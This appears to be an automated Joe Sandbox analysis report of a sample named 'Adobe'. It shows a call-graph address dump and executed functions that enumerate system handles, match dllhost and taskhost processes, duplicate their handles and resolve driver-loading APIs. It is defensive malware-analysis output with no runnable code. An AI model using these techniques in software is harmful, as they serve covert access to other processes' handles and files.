40416->40417 40417->40236 40419 4397fd memset 40417->40419 40418->40238 40419->40245 40420->40236 40421->40260 40422->40249 40423->40254 40424->40250 40425->40253 40426->40258 40427->40262 40428->40264 40429->40267 40430->40276 40431->40273 40432->40278 40433->40348 40434->40270 40435->40279 40436->40282 40437->40283 40438->40283 40439->40293 40440->40296 40441->40300 40442->40305 40443->40310 40444->40316 40445->40325 40446->40341 40447->40347 40448->40366 40449->40366 40450->40366 40451->40362 40452->40369 40453->40374 40454->40345 40455->40345 40456->40345 40457->40346 40458->40352 40459->40355 40460->40358 40461->40363 40462->40367 40463->40371 40464->40375 40465->40381 40466->40382 40467->40381 40468->40385 40469->40387 40470->40389 40471->40391 40472->40393 40473->40395 40474->40397 40475->40399 40476->40401 40477->40403 40478->40405 40479->40348 40480->40321 40481->40332 40482->40311 40483->40314 40484->40324 40485->40328 40486->40306 40487->40304 40488->40312 40489->40315 40490->40323 40491->40326 40492->40334 40493->40328 40494->40337 40495->40339 40496->40348 40497->40291 40498->40236 40500 42a175 40499->40500 40502 42a122 40499->40502 40500->40417 40505 42b13b 147 API calls 40500->40505 40502->40500 40503 42a115 147 API calls 40502->40503 40506 43a174 40502->40506 40530 42a0a8 147 API calls 40502->40530 40503->40502 40505->40415 40520 43a196 40506->40520 40521 43a19e 40506->40521 40507 43a306 40507->40520 40543 4388c4 14 API calls 40507->40543 40510 42a115 147 API calls 40510->40521 40511 415a91 memset 40511->40521 40512 43a642 40512->40520 40547 4169a7 11 API calls 40512->40547 40514 4165ff 11 API calls 40514->40521 40516 43a635 40546 42c02e memset 40516->40546 40520->40502 40521->40507 40521->40510 40521->40511 40521->40514 40521->40520 40531 42ff8c 40521->40531 40539 439504 13 API calls 40521->40539 40540 4312d0 147 API calls 40521->40540 40541 42be4c memcpy memcpy memcpy memset memcpy 40521->40541 40542 43a121 11 API calls 40521->40542 40523 4169a7 11 API calls 40524 43a325 40523->40524 40524->40512 40524->40516 40524->40520 40524->40523 40525 42b5b5 memset memcpy 40524->40525 40526 42bf4c 14 API calls 40524->40526 40529 4165ff 11 API calls 40524->40529 40544 42b63e 14 API calls 40524->40544 40545 42bfcf memcpy 40524->40545 40525->40524 40526->40524 40529->40524 40530->40502 40532 43817e 139 API calls 40531->40532 40533 42ff99 40532->40533 40534 42ffe3 40533->40534 40535 42ffd0 40533->40535 40538 42ff9d 40533->40538 40549 4169a7 11 API calls 40534->40549 40548 4169a7 11 API calls 40535->40548 40538->40521 40539->40521 40540->40521 40541->40521 40542->40521 40543->40524 40544->40524 40545->40524 40546->40512 40547->40520 40548->40538 40549->40538 40576 41493c EnumResourceNamesW 37545 4287c1 37546 4287d2 37545->37546 37547 429ac1 37545->37547 37548 428818 37546->37548 37549 42881f 37546->37549 37563 425711 37546->37563 37562 425ad6 37547->37562 37615 415c56 11 API calls 37547->37615 37582 42013a 37548->37582 37610 420244 97 API calls 37549->37610 37554 4260dd 37609 424251 120 API calls 37554->37609 37556 4259da 37608 416760 11 API calls 37556->37608 37561 429a4d 37565 429a66 37561->37565 37566 429a9b 37561->37566 37563->37547 37563->37556 37563->37561 37564 422aeb memset memcpy memcpy 37563->37564 37568 4260a1 37563->37568 37578 4259c2 37563->37578 37581 425a38 37563->37581 37598 4227f0 memset memcpy 37563->37598 37599 422b84 15 API calls 37563->37599 37600 422b5d memset memcpy memcpy 37563->37600 37601 422640 13 API calls 37563->37601 37603 4241fc 11 API calls 37563->37603 37604 42413a 90 API calls 37563->37604 37564->37563 37611 415c56 11 API calls 37565->37611 37570 429a96 37566->37570 37613 416760 11 API calls 37566->37613 37607 415c56 11 API calls 37568->37607 37614 424251 120 API calls 37570->37614 37573 429a7a 37612 416760 11 API calls 37573->37612 37578->37562 37602 415c56 11 API calls 37578->37602 37581->37578 37605 422640 13 API calls 37581->37605 37606 4226e0 12 API calls 37581->37606 37583 42014c 37582->37583 37586 420151 37582->37586 37625 41e466 97 API calls 37583->37625 37585 420162 37585->37563 37586->37585 37587 4201b3 37586->37587 37588 420229 37586->37588 37589 4201b8 37587->37589 37590 4201dc 37587->37590 37588->37585 37591 41fd5e 86 API calls 37588->37591 37616 41fbdb 37589->37616 37590->37585 37594 4201ff 37590->37594 37622 41fc4c 37590->37622 37591->37585 37594->37585 37597 42013a 97 API calls 37594->37597 37597->37585 37598->37563 37599->37563 37600->37563 37601->37563 37602->37556 37603->37563 37604->37563 37605->37581 37606->37581 37607->37556 37608->37554 37609->37562 37610->37563 37611->37573 37612->37570 37613->37570 37614->37547 37615->37556 37617 41fbf8 37616->37617 37620 41fbf1 37616->37620 37630 41ee26 37617->37630 37621 41fc39 37620->37621 37640 4446ce 11 API calls 37620->37640 37621->37585 37626 41fd5e 37621->37626 37623 41ee6b 86 API calls 37622->37623 37624 41fc5d 37623->37624 37624->37590 37625->37586 37628 41fd65 37626->37628 37627 41fdab 37627->37585 37628->37627 37629 41fbdb 86 API calls 37628->37629 37629->37628 37631 41ee41 37630->37631 37632 41ee32 37630->37632 37641 41edad 37631->37641 37644 4446ce 11 API calls 37632->37644 37635 41ee3c 37635->37620 37638 41ee58 37638->37635 37646 41ee6b 37638->37646 37640->37621 37650 41be52 37641->37650 37644->37635 37645 41eb85 11 API calls 37645->37638 37647 41ee70 37646->37647 37648 41ee78 37646->37648 37703 41bf99 86 API calls 37647->37703 37648->37635 37651 41be6f 37650->37651 37652 41be5f 37650->37652 37658 41be8c 37651->37658 37682 418c63 memset memset 37651->37682 37681 4446ce 11 API calls 37652->37681 37655 41bee7 37656 41be69 37655->37656 37686 41a453 86 API calls 37655->37686 37656->37635 37656->37645 37658->37655 37658->37656 37659 41bf3a 37658->37659 37660 41bed1 37658->37660 37685 4446ce 11 API calls 37659->37685 37662 41bef0 37660->37662 37665 41bee2 37660->37665 37662->37655 37663 41bf01 37662->37663 37664 41bf24 memset 37663->37664 37669 41bf14 37663->37669 37683 418a6d memset memcpy memset 37663->37683 37664->37656 37671 41ac13 37665->37671 37684 41a223 memset memcpy memset 37669->37684 37670 41bf20 37670->37664 37672 41ac52 37671->37672 37673 41ac3f memset 37671->37673 37675 41ac6a 37672->37675 37687 41dc14 19 API calls 37672->37687 37678 41acd9 37673->37678 37677 41aca1 37675->37677 37688 41519d 37675->37688 37677->37678 37679 41acc0 memset 37677->37679 37680 41accd memcpy 37677->37680 37678->37655 37679->37678 37680->37678 37681->37656 37682->37658 37683->37669 37684->37670 37685->37655 37687->37675 37691 4175ed 37688->37691 37699 417570 SetFilePointer 37691->37699 37694 41760a ReadFile 37695 417637 37694->37695 37696 417627 GetLastError 37694->37696 37697 41763e memset 37695->37697 37698 4151b3 37695->37698 37696->37698 37697->37698 37698->37677 37700 4175b2 37699->37700 37701 41759c GetLastError 37699->37701 37700->37694 37700->37698 37701->37700 37702 4175a8 GetLastError 37701->37702 37702->37700 37703->37648 37704 417bc5 37705 417c61 37704->37705 37706 417bda 37704->37706 37706->37705 37707 417bf6 UnmapViewOfFile CloseHandle 37706->37707 37709 417c2c 37706->37709 37711 4175b7 37706->37711 37707->37706 37707->37707 37709->37706 37716 41851e 20 API calls 37709->37716 37712 4175d6 CloseHandle 37711->37712 37713 4175c8 37712->37713 37714 4175df 37712->37714 37713->37714 37715 4175ce Sleep 37713->37715 37714->37706 37715->37712 37716->37709 37754 4415ea 37762 4304b2 37754->37762 37756 4415fe 37757 4418ea 37756->37757 37758 442bd4 37756->37758 37759 4418e2 37756->37759 37758->37757 37810 441409 memset 37758->37810 37759->37757 37809 4414a9 12 API calls 37759->37809 37811 43041c 12 API calls 37762->37811 37764 4304cd 37765 43034a memcpy 37764->37765 37769 430557 37764->37769 37766 4304f3 37765->37766 37766->37769 37812 430468 11 API calls 37766->37812 37768 430506 37768->37769 37770 43057b 37768->37770 37813 43817e 37768->37813 37769->37756 37771 415a91 memset 37770->37771 37773 430584 37771->37773 37773->37769 37818 4397fd memset 37773->37818 37775 4305e4 37775->37769 37819 4328e4 12 API calls 37775->37819 37777 43052d 37777->37769 37777->37770 37780 430542 37777->37780 37779 4305fa 37781 430609 37779->37781 37820 423383 11 API calls 37779->37820 37780->37769 37817 4169a7 11 API calls 37780->37817 37821 423330 11 API calls 37781->37821 37784 430634 37822 423399 11 API calls 37784->37822 37786 430648 37823 4233ae 11 API calls 37786->37823 37788 43066b 37824 423330 11 API calls 37788->37824 37790 43067d 37825 4233ae 11 API calls 37790->37825 37792 430695 37826 423330 11 API calls 37792->37826 37794 4306d6 37828 423330 11 API calls 37794->37828 37795 4306a7 37795->37794 37796 4306c0 37795->37796 37827 4233ae 11 API calls 37796->37827 37799 4306d1 37829 430369 17 API calls 37799->37829 37801 4306f3 37830 423330 11 API calls 37801->37830 37803 430704 37831 423330 11 API calls 37803->37831 37805 430710 37832 423330 11 API calls 37805->37832 37807 43071e 37833 423383 11 API calls 37807->37833 37809->37757 37810->37758 37811->37764 37812->37768 37814 438187 37813->37814 37816 438192 37813->37816 37834 4380f6 37814->37834 37816->37777 37817->37769 37818->37775 37819->37779 37820->37781 37821->37784 37822->37786 37823->37788 37824->37790 37825->37792 37826->37795 37827->37799 37828->37799 37829->37801 37830->37803 37831->37805 37832->37807 37833->37769 37836 43811f 37834->37836 37835 438164 37835->37816 37836->37835 37839 437e5e 37836->37839 37862 4300e8 memset memset memcpy 37836->37862 37863 437d3c 37839->37863 37841 437eb3 37841->37836 37842 437ea9 37842->37841 37847 437f22 37842->37847 37878 41f432 37842->37878 37845 437f06 37928 415c56 11 API calls 37845->37928 37849 437f7f 37847->37849 37929 432d4e 37847->37929 37848 437f95 37933 415c56 11 API calls 37848->37933 37849->37848 37851 43802b 37849->37851 37889 4165ff 37851->37889 37853 437fa3 37853->37841 37936 41f638 104 API calls 37853->37936 37858 43806b 37860 438094 37858->37860 37934 42f50e 138 API calls 37858->37934 37860->37853 37935 4300e8 memset memset memcpy 37860->37935 37862->37836 37864 437d69 37863->37864 37867 437d80 37863->37867 37949 437ccb 11 API calls 37864->37949 37866 437d76 37866->37842 37867->37866 37868 437da3 37867->37868 37870 437d90 37867->37870 37937 438460 37868->37937 37870->37866 37953 437ccb 11 API calls 37870->37953 37872 437de8 37952 424f26 123 API calls 37872->37952 37874 437dcb 37874->37872 37950 444283 13 API calls 37874->37950 37876 437dfc 37951 437ccb 11 API calls 37876->37951 37879 41f54d 37878->37879 37883 41f44f 37878->37883 37880 41f466 37879->37880 38124 41c635 memset memset 37879->38124 37880->37845 37880->37847 37883->37880 37887 41f50b 37883->37887 38095 41f1a5 37883->38095 38120 41c06f memcmp 37883->38120 38121 41f3b1 90 API calls 37883->38121 38122 41f398 86 API calls 37883->38122 37887->37879 37887->37880 38123 41c295 86 API calls 37887->38123 37890 4165a0 11 API calls 37889->37890 37891 41660d 37890->37891 37892 437371 37891->37892 37893 41703f 11 API calls 37892->37893 37894 437399 37893->37894 37895 43739d 37894->37895 37897 4373ac 37894->37897 38229 4446ea 11 API calls 37895->38229 37898 416935 16 API calls 37897->37898 37914 4373ca 37898->37914 37899 437584 37901 4375bc 37899->37901 38236 42453e 123 API calls 37899->38236 37900 438460 134 API calls 37900->37914 37903 415c7d 16 API calls 37901->37903 37904 4375d2 37903->37904 37908 4373a7 37904->37908 38237 4442e6 37904->38237 37907 4375e2 37907->37908 38244 444283 13 API calls 37907->38244 37908->37858 37910 415a91 memset 37910->37914 37913 43758f 38235 42453e 123 API calls 37913->38235 37914->37899 37914->37900 37914->37910 37914->37913 37927 437d3c 135 API calls 37914->37927 38211 4251c4 37914->38211 38230 425433 13 API calls 37914->38230 38231 425413 17 API calls 37914->38231 38232 42533e 16 API calls 37914->38232 38233 42538f 16 API calls 37914->38233 38234 42453e 123 API calls 37914->38234 37917 4375f4 37921 437620 37917->37921 37922 43760b 37917->37922 37919 43759f 37920 416935 16 API calls 37919->37920 37920->37899 37923 416935 16 API calls 37921->37923 38245 444283 13 API calls 37922->38245 37923->37908 37926 437612 memcpy 37926->37908 37927->37914 37928->37841 37930 432d65 37929->37930 37931 432d58 37929->37931 37930->37849 38320 432cc4 memset memset memcpy 37931->38320 37933->37853 37934->37860 37935->37853 37936->37841 37954 41703f 37937->37954 37939 43847a 37940 43848a 37939->37940 37941 43847e 37939->37941 37961 438270 37940->37961 37991 4446ea 11 API calls 37941->37991 37945 438488 37945->37874 37947 4384bb 37948 438270 134 API calls 37947->37948 37948->37945 37949->37866 37950->37876 37951->37872 37952->37866 37953->37866 37955 417044 37954->37955 37956 41705c 37954->37956 37960 417055 37955->37960 37993 416760 11 API calls 37955->37993 37957 417075 37956->37957 37994 41707a 11 API calls 37956->37994 37957->37939 37960->37939 37962 415a91 memset 37961->37962 37963 43828d 37962->37963 37964 438297 37963->37964 37965 438341 37963->37965 37967 4382d6 37963->37967 37966 415c7d 16 API calls 37964->37966 37995 44358f 37965->37995 37969 438458 37966->37969 37970 4382fb 37967->37970 37971 4382db 37967->37971 37969->37945 37992 424f26 123 API calls 37969->37992 38038 415c23 memcpy 37970->38038 38026 416935 37971->38026 37974 438305 37978 44358f 19 API calls 37974->37978 37980 438318 37974->37980 37975 4382e9 38034 415c7d 37975->38034 37977 438373 37983 438383 37977->37983 38039 4300e8 memset memset memcpy 37977->38039 37978->37980 37980->37977 38021 43819e 37980->38021 37982 4383cd 37984 4383f5 37982->37984 38041 42453e 123 API calls 37982->38041 37983->37982 38040 415c23 memcpy 37983->38040 37987 438404 37984->37987 37988 43841c 37984->37988 37990 416935 16 API calls 37987->37990 37989 416935 16 API calls 37988->37989 37989->37964 37990->37964 37991->37945 37992->37947 37993->37960 37994->37955 37996 4435be 37995->37996 37997 44360c 37996->37997 37999 443676 37996->37999 38002 4436ce 37996->38002 38006 44366c 37996->38006 38042 442ff8 37996->38042 37997->37980 37998 443758 38011 443775 37998->38011 38051 441409 memset 37998->38051 37999->37998 38001 443737 37999->38001 38003 442ff8 19 API calls 37999->38003 38004 442ff8 19 API calls 38001->38004 38008 4165ff 11 API calls 38002->38008 38003->38001 38004->37998 38050 4169a7 11 API calls 38006->38050 38007 4437be 38012 4437de 38007->38012 38053 416760 11 API calls 38007->38053 38008->37999 38011->38007 38052 415c56 11 API calls 38011->38052 38015 443801 38012->38015 38054 42463b memset memcpy 38012->38054 38014 443826 38056 43bd08 memset 38014->38056 38015->38014 38055 43024d memset 38015->38055 38019 443837 38019->37997 38057 43024d memset 38019->38057 38022 438246 38021->38022 38024 4381ba 38021->38024 38022->37977 38023 41f432 110 API calls 38023->38024 38024->38022 38024->38023 38073 41f638 104 API calls 38024->38073 38027 41693e 38026->38027 38030 41698e 38026->38030 38028 41694c 38027->38028 38074 422fd1 memset 38027->38074 38028->38030 38075 4165a0 38028->38075 38030->37975 38035 415c81 38034->38035 38036 415c9c 38034->38036 38035->38036 38037 416935 16 API calls 38035->38037 38036->37964 38037->38036 38038->37974 38039->37983 38040->37982 38041->37984 38043 442ffe 38042->38043 38044 443094 38043->38044 38048 443092 38043->38048 38058 4414ff 38043->38058 38070 4169a7 11 API calls 38043->38070 38071 441325 memset 38043->38071 38072 4414a9 12 API calls 38044->38072 38048->37996 38050->37999 38051->37998 38052->38007 38053->38012 38054->38015 38055->38014 38056->38019 38057->38019 38059 441539 38058->38059 38060 441547 38058->38060 38059->38060 38061 441575 38059->38061 38062 441582 38059->38062 38063 4418e2 38060->38063 38069 442bd4 38060->38069 38065 42fccf 18 API calls 38061->38065 38064 43275a 12 API calls 38062->38064 38066 4414a9 12 API calls 38063->38066 38067 4418ea 38063->38067 38064->38060 38065->38060 38066->38067 38067->38043 38068 441409 memset 38068->38069 38069->38067 38069->38068 38070->38043 38071->38043 38072->38048 38073->38024 38074->38028 38081 415cfe 38075->38081 38080 422b84 15 API calls 38080->38030 38082 41628e 38081->38082 38087 415d23 __aullrem __aulldvrm 38081->38087 38089 416520 38082->38089 38083 4163ca 38084 416422 10 API calls 38083->38084 38084->38082 38085 416422 10 API calls 38085->38087 38086 416172 memset 38086->38087 38087->38082 38087->38083 38087->38085 38087->38086 38088 415cb9 10 API calls 38087->38088 38088->38087 38090 416527 38089->38090 38094 416574 38089->38094 38091 415700 10 API calls 38090->38091 38092 416544 38090->38092 38090->38094 38091->38092 38093 416561 memcpy 38092->38093 38092->38094 38093->38094 38094->38030 38094->38080 38125 41bc3b 38095->38125 38098 41edad 86 API calls 38099 41f1cb 38098->38099 38100 41f1f5 memcmp 38099->38100 38101 41f20e 38099->38101 38105 41f282 38099->38105 38100->38101 38102 41f21b memcmp 38101->38102 38101->38105 38103 41f326 38102->38103 38106 41f23d 38102->38106 38104 41ee6b 86 API calls 38103->38104 38103->38105 38104->38105 38105->37883 38106->38103 38107 41f28e memcmp 38106->38107 38149 41c8df 56 API calls 38106->38149 38107->38103 38108 41f2a9 38107->38108 38108->38103 38111 41f308 38108->38111 38112 41f2d8 38108->38112 38110 41f269 38110->38103 38113 41f287 38110->38113 38114 41f27a 38110->38114 38111->38103 38151 4446ce 11 API calls 38111->38151 38115 41ee6b 86 API calls 38112->38115 38113->38107 38116 41ee6b 86 API calls 38114->38116 38117 41f2e0 38115->38117 38116->38105 38150 41b1ca memset __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 38117->38150 38120->37883 38121->37883 38122->37883 38123->37879 38124->37880 38127 41bc54 38125->38127 38134 41be0b 38125->38134 38130 41bd61 38127->38130 38127->38134 38138 41bc8d 38127->38138 38152 41baf0 55 API calls 38127->38152 38129 41be45 38129->38098 38129->38105 38130->38129 38161 41a25f memset 38130->38161 38132 41be04 38159 41aee4 56 API calls 38132->38159 38134->38130 38160 41ae17 34 API calls 38134->38160 38135 41bd42 38135->38130 38135->38132 38136 41bdd8 memset 38135->38136 38137 41bdba 38135->38137 38139 41bde7 memcmp 38136->38139 38148 4175ed 6 API calls 38137->38148 38138->38130 38138->38135 38140 41bd18 38138->38140 38153 4151e3 38138->38153 38139->38132 38142 41bdfd 38139->38142 38140->38130 38140->38135 38157 41a9da 86 API calls __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 38140->38157 38141 41bdcc 38141->38130 38141->38139 38158 41a1b0 memset 38142->38158 38148->38141 38149->38110 38150->38105 38151->38103 38152->38138 38162 41837f 38153->38162 38156 444706 11 API calls 38156->38140 38157->38135 38158->38132 38159->38134 38160->38130 38161->38129 38163 4183c1 38162->38163 38166 4183ca 38162->38166 38209 418197 25 API calls 38163->38209 38167 4151f9 38166->38167 38183 418160 38166->38183 38167->38140 38167->38156 38168 4183e5 38168->38167 38192 41739b 38168->38192 38171 418444 CreateFileW 38173 418477 38171->38173 38172 41845f CreateFileA 38172->38173 38174 4184c2 memset 38173->38174 38175 41847e GetLastError free 38173->38175 38195 418758 38174->38195 38176 4184b5 38175->38176 38177 418497 38175->38177 38210 444706 11 API calls 38176->38210 38179 41837f 49 API calls 38177->38179 38179->38167 38184 41739b GetVersionExW 38183->38184 38185 418165 38184->38185 38187 4173e4 MultiByteToWideChar malloc MultiByteToWideChar free 38185->38187 38188 418178 38187->38188 38189 41817f 38188->38189 38190 41748f AreFileApisANSI WideCharToMultiByte malloc WideCharToMultiByte free 38188->38190 38189->38168 38191 418188 free 38190->38191 38191->38168 38193 4173d6 38192->38193 38194 4173ad GetVersionExW 38192->38194 38193->38171 38193->38172 38194->38193 38196 418680 43 API calls 38195->38196 38197 418782 38196->38197 38198 418160 11 API calls 38197->38198 38200 418506 free 38197->38200 38199 418799 38198->38199 38199->38200 38201 41739b GetVersionExW 38199->38201 38200->38167 38202 4187a7 38201->38202 38203 4187da 38202->38203 38204 4187ad GetDiskFreeSpaceW 38202->38204 38206 4187ec GetDiskFreeSpaceA 38203->38206 38208 4187e8 38203->38208 38207 418800 free 38204->38207 38206->38207 38207->38200 38208->38206 38209->38166 38210->38167 38246 424f07 38211->38246 38213 4251e4 38214 4251f7 38213->38214 38215 4251e8 38213->38215 38254 4250f8 38214->38254 38253 4446ea 11 API calls 38215->38253 38217 4251f2 38217->37914 38219 425209 38222 425249 38219->38222 38225 4250f8 127 API calls 38219->38225 38226 425287 38219->38226 38262 4384e9 135 API calls 38219->38262 38263 424f74 124 API calls 38219->38263 38220 415c7d 16 API calls 38220->38217 38222->38226 38264 424ff0 13 API calls 38222->38264 38225->38219 38226->38220 38227 425266 38227->38226 38265 415be9 memcpy 38227->38265 38229->37908 38230->37914 38231->37914 38232->37914 38233->37914 38234->37914 38235->37919 38236->37901 38238 4442eb 38237->38238 38241 444303 38237->38241 38318 41707a 11 API calls 38238->38318 38240 4442f2 38240->38241 38319 4446ea 11 API calls 38240->38319 38241->37907 38243 444300 38243->37907 38244->37917 38245->37926 38247 424f1f 38246->38247 38248 424f0c 38246->38248 38267 424eea 11 API calls 38247->38267 38266 416760 11 API calls 38248->38266 38251 424f18 38251->38213 38252 424f24 38252->38213 38253->38217 38255 425108 38254->38255 38261 42510d 38254->38261 38300 424f74 124 API calls 38255->38300 38258 42516e 38260 415c7d 16 API calls 38258->38260 38259 425115 38259->38219 38260->38259 38261->38259 38268 42569b 38261->38268 38262->38219 38263->38219 38264->38227 38265->38226 38266->38251 38267->38252 38278 4256f1 38268->38278 38296 4259c2 38268->38296 38273 4260dd 38312 424251 120 API calls 38273->38312 38277 429a4d 38280 429a66 38277->38280 38281 429a9b 38277->38281 38278->38277 38279 422aeb memset memcpy memcpy 38278->38279 38283 4260a1 38278->38283 38292 4259da 38278->38292 38294 429ac1 38278->38294 38278->38296 38299 425a38 38278->38299 38301 4227f0 memset memcpy 38278->38301 38302 422b84 15 API calls 38278->38302 38303 422b5d memset memcpy memcpy 38278->38303 38304 422640 13 API calls 38278->38304 38306 4241fc 11 API calls 38278->38306 38307 42413a 90 API calls 38278->38307 38279->38278 38313 415c56 11 API calls 38280->38313 38285 429a96 38281->38285 38315 416760 11 API calls 38281->38315 38310 415c56 11 API calls 38283->38310 38316 424251 120 API calls 38285->38316 38288 429a7a 38314 416760 11 API calls 38288->38314 38311 416760 11 API calls 38292->38311 38295 425ad6 38294->38295 38317 415c56 11 API calls 38294->38317 38295->38258 38296->38295 38305 415c56 11 API calls 38296->38305 38299->38296 38308 422640 13 API calls 38299->38308 38309 4226e0 12 API calls 38299->38309 38300->38261 38301->38278 38302->38278 38303->38278 38304->38278 38305->38292 38306->38278 38307->38278 38308->38299 38309->38299 38310->38292 38311->38273 38312->38295 38313->38288 38314->38285 38315->38285 38316->38294 38317->38292 38318->38240 38319->38243 38320->37930 40201 4147f3 40204 414561 40201->40204 40203 414813 40205 41456d 40204->40205 40206 41457f GetPrivateProfileIntW 40204->40206 40209 4143f1 memset _itow WritePrivateProfileStringW 40205->40209 40206->40203 40208 41457a 40208->40203 40209->40208

                                                                                                                              Executed Functions

                                                                                                                              Function 0040DD85 Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 212filenativeCOMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 338 40dd85-40ddeb memset call 409bca CreateFileW 341 40ddf1-40de09 call 40afcf call 41352f 338->341 346 40de0b-40de1a NtQuerySystemInformation 341->346 347 40de1c 341->347 348 40de20-40de27 346->348 347->348 349 40de29-40de39 348->349 350 40de3b-40de52 CloseHandle GetCurrentProcessId 348->350 349->341 349->350 351 40de54-40de58 350->351 352 40de7a-40de8e call 413cfa call 413d4c 350->352 351->352 354 40de5a 351->354 362 40de94-40debb call 40e6ad call 409c52 _wcsicmp 352->362 363 40e00c-40e01b call 413d29 352->363 356 40de5d-40de63 354->356 358 40de74-40de78 356->358 359 40de65-40de6c 356->359 358->352 358->356 359->358 361 40de6e-40de71 359->361 361->358 370 40dee7-40def7 OpenProcess 362->370 371 40debd-40dece _wcsicmp 362->371 373 40dff8-40dffb 370->373 374 40defd-40df02 370->374 371->370 372 40ded0-40dee1 _wcsicmp 371->372 372->370 375 40dffd-40e006 372->375 373->363 373->375 376 40df08 374->376 377 40dfef-40dff2 CloseHandle 374->377 375->362 375->363 378 40df0b-40df10 376->378 377->373 379 40df16-40df1d 378->379 380 40dfbd-40dfcb 378->380 379->380 381 40df23-40df4a GetCurrentProcess DuplicateHandle 379->381 380->378 382 40dfd1-40dfd3 380->382 381->380 383 40df4c-40df76 memset call 41352f 381->383 382->377 386 40df78-40df8a 383->386 387 40df8f-40dfbb CloseHandle call 409c52 * 2 _wcsicmp 383->387 386->387 387->380 392 40dfd5-40dfed 387->392 392->377
                                                                                                                              APIs
                                                                                                                              • memset.MSVCRT ref: 0040DDAD
                                                                                                                                • Part of subcall function 00409BCA: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,0040DDBE,?,?,00000000,00000208,000000FF,00000000,00000104), ref: 00409BD5
                                                                                                                              • CreateFileW.KERNELBASE(?,80000000,00000003,00000000,00000003,00000000,00000000,?,000000FF,00000000,00000104), ref: 0040DDD4
                                                                                                                                • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT(00000001,00000001,00401E7F), ref: 0040AFD8
                                                                                                                                • Part of subcall function 0041352F: GetModuleHandleW.KERNEL32(ntdll.dll,-00000108,0040DE02,?,000000FF,00000000,00000104), ref: 00413542
                                                                                                                                • Part of subcall function 0041352F: GetProcAddress.KERNEL32(00000000,NtQuerySystemInformation), ref: 00413559
                                                                                                                                • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtLoadDriver), ref: 0041356B
                                                                                                                                • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtUnloadDriver), ref: 0041357D
                                                                                                                                • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtOpenSymbolicLinkObject), ref: 0041358F
                                                                                                                                • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtQuerySymbolicLinkObject), ref: 004135A1
                                                                                                                                • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtQueryObject), ref: 004135B3
                                                                                                                                • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtSuspendProcess), ref: 004135C5
                                                                                                                                • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtResumeProcess), ref: 004135D7
                                                                                                                              • NtQuerySystemInformation.NTDLL(00000010,00000104,00001000,00000000,?,000000FF,00000000,00000104), ref: 0040DE15
                                                                                                                              • CloseHandle.KERNELBASE(C0000004,?,000000FF,00000000,00000104), ref: 0040DE3E
                                                                                                                              • GetCurrentProcessId.KERNEL32(?,000000FF,00000000,00000104), ref: 0040DE49
                                                                                                                              • _wcsicmp.MSVCRT ref: 0040DEB2
                                                                                                                              • _wcsicmp.MSVCRT ref: 0040DEC5
                                                                                                                              • _wcsicmp.MSVCRT ref: 0040DED8
                                                                                                                              • OpenProcess.KERNEL32(00000040,00000000,00000000,00000000,?,000000FF,00000000,00000104), ref: 0040DEEC
                                                                                                                              • GetCurrentProcess.KERNEL32(C0000004,80000000,00000000,00000002,?,000000FF,00000000,00000104), ref: 0040DF32
                                                                                                                              • DuplicateHandle.KERNELBASE(00000104,?,00000000,?,000000FF,00000000,00000104), ref: 0040DF41
                                                                                                                              • memset.MSVCRT ref: 0040DF5F
                                                                                                                              • CloseHandle.KERNEL32(C0000004,?,?,?,?,000000FF,00000000,00000104), ref: 0040DF92
                                                                                                                              • _wcsicmp.MSVCRT ref: 0040DFB2
                                                                                                                              • CloseHandle.KERNEL32(00000104,?,000000FF,00000000,00000104), ref: 0040DFF2
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AddressProc$Handle$_wcsicmp$CloseProcess$CurrentFileModulememset$??2@CreateDuplicateInformationNameOpenQuerySystem
                                                                                                                              • String ID: dllhost.exe$taskhost.exe$taskhostex.exe
                                                                                                                              • API String ID: 708747863-3398334509
                                                                                                                              • Opcode ID: c0cdbd66bb0eb3cac082432fda8d0328b9155cc6ebf5e989b7bcc70ed293d7d6
                                                                                                                              • Instruction ID: 75e999e9478e2cd8c236028a88c267773407d5e0538ee9298daa3020847ac7a6
                                                                                                                              • Opcode Fuzzy Hash: c0cdbd66bb0eb3cac082432fda8d0328b9155cc6ebf5e989b7bcc70ed293d7d6
                                                                                                                              • Instruction Fuzzy Hash: 57818F71D00209AFEB10EF95CC81AAEBBB5FF04345F20407AF915B6291DB399E95CB58
                                                                                                                              Function 00418758 Relevance: 4.6, APIs: 3, Instructions: 79COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00418680: GetFullPathNameW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 004186AC
                                                                                                                                • Part of subcall function 00418680: malloc.MSVCRT ref: 004186B7
                                                                                                                                • Part of subcall function 00418680: free.MSVCRT ref: 004186C7
                                                                                                                                • Part of subcall function 0041739B: GetVersionExW.KERNEL32(?), ref: 004173BE
                                                                                                                              • GetDiskFreeSpaceW.KERNELBASE(00000000,?,00000200,?,?,?,00000000,?,00000000), ref: 004187D2
                                                                                                                              • GetDiskFreeSpaceA.KERNEL32(00000000,?,00000200,?,?,?,00000000,?,00000000), ref: 004187FA
                                                                                                                              • free.MSVCRT ref: 00418803
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
